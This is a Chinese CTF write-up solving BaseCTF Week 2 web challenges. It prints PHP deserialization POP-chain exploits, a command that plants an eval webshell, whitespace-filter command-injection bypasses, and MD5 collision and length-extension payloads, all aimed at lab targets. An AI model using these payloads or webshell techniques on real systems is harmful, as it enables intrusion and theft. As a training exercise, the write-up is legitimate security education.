BaseCTF-Web-Week2-WP

news2024/11/15 6:42:15

目录

1、ez_ser

2、 一起吃豆豆

3、你听不到我的声音

4、Really EZ POP

5、RCEisamazingwithspace

6、以你说你懂 MD5?

7、数学大师


1、ez_ser

简单的 pop 链构造,关于反序列化的魔术方法、 pop 链构造的详细讲解参考我之前的博客:

CTF - Web 干货_ctf web知识点大全-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/135660293

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客icon-default.png?t=N7T8https://myon6.blog.csdn.net/article/details/131565599

exp:

<?php
class re{
    public $chu0;
    public function __toString(){  // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;  // 2 pwn
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {  // wakeup 在反序列化时会自己触发的,也就是链头了
        echo "lalalla".$this->kw;  // 3 re
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {   // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
        if($this->dusk != "gods"){  
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();  // 1 Misc
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}

$m = new Misc();
$p = new pwn();
$p->over = $m;
$r = new re();
$r->chu0 = $p;
$w = new web();
$w->kw = $r;
echo serialize($w);


?>

构造 payload:

?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}ALL Done!

它这里所有的 if 语句都不影响后面语句执行的,所以其实不用管它赋不赋值,只需要找链子传着走,从链尾传到链头就行了。

2、 一起吃豆豆

F12 被禁用了,右键->检查,打开开发者工具

index.js 里面找到一串 base64 编码:

QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==

解码:

拿到 flag:BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

3、你听不到我的声音

给的是 shell_exec 无回显的命令执行函数

根据前面几道题的经验,猜测 flag 在根目录下

payload:

cmd=cat /flag > 1.txt

访问 1.txt 即可看到 flag 

如果这种方法不行,我们猜不到它 flag 到底在哪儿以及叫什么名字怎么办呢?

这里什么过滤都没有,直接写入 webshell:

cmd=echo '<?php @eval($_REQUEST[1]); ?>' > 1.php

访问 1.php,回显空白说明解析成功

调用木马:

看一下根目录:

1=system('ls /');

读取 flag:

1=system('tac /flag');

拿到 flag:BaseCTF{104b2b1b-fb0f-4a93-b60b-5d9df9945089}

4、Really EZ POP

同样的配方,先找链尾,很明显是这里:eval($this->cmd);

往上依次找就行了,最开始写出来的 exp 是:

<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->word = $s1;
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo serialize($n)

?>

但是 $s2->word = $s1; 中 word 是私有变量,这里是调用不到的,链子顺序没有问题,修改代码访问私有变量。

方法(1)

通过使用 PHP 的反射机制访问和修改类的私有属性:

<?php
class Sink
{
    private $cmd = 'system("tac /flag");';
    public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
    {
        eval($this->cmd);  // 1 system("ls");
    }
}

class Shark
{
    private $word;
    public function __invoke()  // 对象被当做函数进行调用时触发(找有括号的类似$a()这种)
    {
        echo 'Shark says: ' . $this->word;  // 2 Sink
    }
}

class Sea
{
    public $animal;
    public function __get($name)  // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();  // 3 Shark
    }
}

class Nature
{
    public $sea;

    public function __destruct()  // 对象被销毁时自动触发,也就是我们的链头了
    {
        echo $this->sea->see;  // 4 Sea
    }
}

// 按照 1 2 3 4 的顺序编写 exp
$s1 = new Sink();
$s2 = new Shark();

$reflection = new ReflectionClass($s2);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($s2, $s1);

$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;

echo urlencode(serialize($n));

?>

拿到 flag:BaseCTF{99c9a2fb-a5d2-4dc8-81fa-a6018812131d}

方法(2) 

在类中定义一个公有方法,用来设置或更改类的私有属性的值。

<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';

    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }

    public function setWord($newWord)
    {
        $this->word = $newWord;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->setWord($s1); // 使用 setter 方法
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo urlencode(serialize($n));
?>

5、RCEisamazingwithspace

ls 可以直接执行,但是这里过滤了 \s,也就是任意空白字符,包括:

空格(space)
制表符(tab)\t
换行符(newline)\n
回车符(carriage return)\r
垂直制表符(vertical tab)\v
换页符(form feed)\f

解法(1)

使用 ${IFS} 代替空格

(说明:IFS是linux的特殊变量,默认值是space空格, $是取变量值,$IFS就代表空格)

cmd=ls${IFS}/

执行成功,读取 flag:

cmd=tac${IFS}/flag

拿到 flag:BaseCTF{ceb13ece-6bef-46d0-b07b-f7382cdf5e9d} 

解法(2)

cmd=tac</flag

解法(3)

cmd=tac$IFS$9/flag

解法(4)

cmd=tac$IFS/flag

6、以你说你懂 MD5?

先说前三个,包括md5 数组、字符、强碰撞的绕过:

apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

最后的这个就真不知道了,看了下题目的提示:MD5 长度拓展攻击

那就脚本原理吧,原本是有一个工具 hashpump,但是我 git 的时候提示找不到仓库了,然后在 github 上找到了一个写好的 python脚本,叫做 hash-ext-attack:

以为自己环境为例

已知hash: 2d3053e40e295fd34fe1931f2b028b49
扩展字符: admin

密钥长度:96

运行得到:

新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
新hash:fd78be8215229fb48e7ac5b4537cb7ae

追加 name 和 md5 参数提交:

apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=fd78be8215229fb48e7ac5b4537cb7ae

拿到 flag:BaseCTF{8e7fd329-32ec-4ff0-b4d3-a435be42a683}

7、数学大师

注意有 cookie,发送请求的时候要加上

写了个代码来处理:

# @author:Myon
# @time:20240826
import requests
import re

url = 'http://challenge.basectf.fun:43966/'
cookies = {'PHPSESSID': 's61uaat8ivhrnipm0pqehmvu8a'}

# 第一次 GET 请求
response = requests.get(url, cookies=cookies)
print(response.text)

# 循环 50 次
for i in range(50):
    # 从响应中匹配计算表达式,\d+ 匹配一个或多个连续的数字,注意 \-\+\*\/ 需要转义,在正则表达式中,连字符 - 通常表示一个范围;+ 是量词,表示前面的元素可以重复一次或多次;* 表示零次或多次;/ 是正则表达式的边界
    match = re.search(r'\d+[×÷\-\+\*\/]\d+', response.text)
    if match:
        # 对表达式进行处理,乘号换为星号,除号换为取整
        expression = match.group(0).replace('×', '*').replace('÷', '//')
        print(expression)
        # 直接将表达式丢给 eval 处理
        result = eval(expression)
        print(result)
        payload = {'answer': result}
        # POST 提交结果,响应结果作为下次提取的对象
        response = requests.post(url, data=payload, cookies=cookies)
        print(response.text)
    else:
        # 没有匹配到计算表达式,结束循环
        break

 注意,它第二次的题目是来源于第一次的响应而不是再次从 get 请求中获取

拿到 flag:BaseCTF{2e9b0802-c642-4224-9035-653cbd8f64fe}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2082250.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

医生百度百科创建技巧分享

医生百度百科创建技巧分享 #医生百科 #百科创建 百收网SEO&#xff0c;我是一名医生&#xff0c;想要创建百度百科&#xff0c;有没有技巧分享&#xff1f; 当然有了&#xff0c;医生百科审核相对来说比较严格&#xff0c;必须要有医师执业证书才能申请。 掌握下面小技巧&am…

使用Python调用JavaScript进行网页自动化操作

随着互联网技术的飞速发展&#xff0c;网页自动化操作在数据抓取、用户界面测试、内容管理等多个领域变得越来越重要。Python作为一种流行的编程语言&#xff0c;因其简洁的语法和强大的库支持&#xff0c;成为了许多开发者进行网页自动化的首选工具。然而&#xff0c;面对动态…

微信图片过期了怎么恢复?图片过期不愁,4种方法帮您恢复!

微信早已成为我们日常生活中不可或缺的一部分&#xff0c;从日常聊天到分享生活点滴&#xff0c;图片无疑是传递情感与信息的重要载体。然而&#xff0c;偶尔我们会遇到尴尬的情况——那些承载着美好回忆的图片提示“图片已过期或已被清理”。微信图片过期了怎么恢复&#xff1…

FinClip 小程序必备神器

一 背景 从微信17年发布小程序到现在&#xff0c;其平台小程序数量已达到500w&#xff0c;种类和数量都非常大&#xff0c;像小到一个简单的功能&#xff0c;如投票、文字去重、朋友圈防折叠&#xff0c;大到京东、滴滴、餐厅自助点餐&#xff0c;都可以通过小程序实现。可以说…

编程学习中的挫折?那是通往高手的必经之路!从代码小白到坚韧战士!

你是如何克服编程学习中的挫折感的&#xff1f; 在编程学习的征途中&#xff0c;挫折感如同一位不速之客&#xff0c;时常造访我们的学习旅程。它可能源于复杂的算法难题、难以理解的语法规则&#xff0c;或是项目截止日期的紧迫压力。然而&#xff0c;正是这些挑战塑造了更加…

IT管理:我与IT的故事7--如何成为一名强大的售前顾问?

高效售前的“3个标准” 1-客户认可的创新性解决方案 2-通过采用解决方案&#xff0c;客户获得了可度量的业绩与行为改进 3-客户具有能力保持这种改进 1-项目评估 A-业务内涵&#xff1a; 分析企业价值和信息化的核心需求&#xff0c;评估项目可行性及风险&#xff0c;在信息化投…

Python版经典小游戏愤怒的小鸟-Python游戏开发

Python版经典小游戏愤怒的小鸟源代码 如果你正在学习Python&#xff0c;但是找不到方向的话可以试试我这一份学习方法和籽料呀&#xff01;点击 领取籽料&#xff08;不要米米&#xff09; 基于pygamepymunk 程序依赖&#xff1a;pygame2.0.1&#xff0c; pymunk5.5.0 直接运…

Windows提取微信聊天记录,将其导出成HTML、Word、Excel文档永久保存

Windows导出微信消息数据库有两个项目。 一、PyWxDump PyWxDump是一个用于获取 wx 账户信息&#xff08;昵称/账户/电话/电子邮件/数据库密钥&#xff09;、解密数据库、查看 wx 聊天以及将聊天导出为 html 备份的工具。 PyWxDump项目地址 PyWxDump是用Python写的&#xff…

铲屎官快来看,清除浮毛效果很好的宠物空气净化器选购指南

在养宠与育儿并重的现代家庭中&#xff0c;营造一个既温馨又健康的居住环境成为了每位家长的首要任务。宠物&#xff0c;尤其是猫咪和狗狗&#xff0c;作为家庭不可或缺的一员&#xff0c;它们的毛发和身影为生活增添了无限乐趣&#xff0c;但同时也带来了一个不容忽视的挑战—…

C++和QT

什么是QT Qt 是一个跨平台的 C图形用户界面应用程序框架。 它为应用程序开发者提供建立艺术级图形界面所需的所有功能。 它是完全面向对象的&#xff0c;很容易扩展&#xff0c;并且允许真正的组件编程。 QT的优点 跨平台&#xff0c;几乎支持所有的平台 接口简单&#x…

《黑神话:悟空》研发公司的薪资水平

作者&#xff1a;程序员晓凡 最近全网最火爆的要属《黑神话&#xff1a;悟空》了&#xff0c;即便是我这个平时不沾游戏、不追直播的人&#xff0c;也看直播看得津津有味。 一、销量与热度背后 首先&#xff0c;让我们来看看那些令人瞩目的数字。《黑神话&#xff1a;悟空》…

AI米壳:跨境电商必备神器:批量图片翻译!

各位跨境电商的小伙伴们&#xff0c;在我们的电商之路上&#xff0c;是不是常常被产品图片翻译的问题困扰呢&#xff1f; 没错&#xff0c;以往只面对一两张图片时&#xff0c;我们可能会选择在百度上翻译&#xff0c;再用 PS 去除原来的中文文字&#xff0c;添加翻译后的语言到…

第三方软件测评中心分享:科技成果鉴定测试的必要性和流程

在飞速发展的科技时代&#xff0c;科技成果的保护和应用愈发重要&#xff0c;科技成果鉴定测试已经成为衡量和验证项目成功的重要环节。科技成果鉴定测试是指对科技项目成果进行评估、验证和认可的过程。这一过程通常由专家团队主导&#xff0c;旨在确保科技产品或研究成果达到…

Java学习第三天

总体三部分内容&#xff1a;数据类型转换、运算符使用、调用Java提供的程序 数据类型转换&#xff1a; 1.自动类型转换 类型范围小的可以直接转换给类型范围大的变量&#xff1b;例如int类型可以直接赋值为long型 int a 10; long b a; char字符型在计算机底层是一个数字…

SOMEIP_ETS_070: Union_Length_longer_as_mesage_length_allows_it

测试目的&#xff1a; 验证当设备&#xff08;DUT&#xff09;接收到一个联合&#xff08;union&#xff09;长度超出SOME/IP消息长度允许的范围时&#xff0c;是否能够返回错误消息。 描述 本测试用例旨在检查DUT在处理一个echoUNION方法的SOME/IP消息时&#xff0c;如果消…

Apache CloudStack Official Document 翻译节选(十)

关于 Apache CloudStack 的 最佳实践 &#xff08;四&#xff09; 网络流量监测与虚拟机容量规划 客户机网路集成流量监测哨兵 要想搜集客户机网路上的使用数据&#xff0c;就需要从部署在对应网路上的网络统计采集器上拉取数据。通过在Apache CloudStack云上集成流量哨兵便可…

37次8.27(docker03)

1.使用dockerfile创建应用镜像 在Docker file中定义所需要执⾏的指令&#xff0c;使⽤ docker build创建 镜 像&#xff0c;过程中会按照dockerfile所定义的内容进⾏打开临时性容 器&#xff0c;把 docker file中命令全部执⾏完成&#xff0c;就得到了⼀个容器应⽤镜 像&am…

OpenCV4深度神经网络DNN实战教程

OpenCV4深度神经网络DNN实战教程 1-概述与环境配置2-卷积神经网络概述3-加载网络模型与设置3.1 所需的模型下载3.2 所使用的模型&#xff08;googlenet&#xff09;3.3 Net介绍3.4 代码输出网络结构信息3.5 计算后台设置3.6 所有代码 4-图像分类网络inception的使用5-读取分类标…

计算机毕业设计选题推荐-医疗就诊平台-在线医疗问诊系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…

HTTP 状态码:解析与处理的全面指南

一、HTTP 状态码概述 HTTP 状态码&#xff08;HTTP Status Code&#xff09;是用以表示网页服务器 HTTP 响应状态的 3 位数字代码。它在客户端与服务器之间的通信中起着至关重要的作用。 其主要作用在于向客户端清晰准确地传达服务器对请求的处理结果。例如&#xff0c;当客户…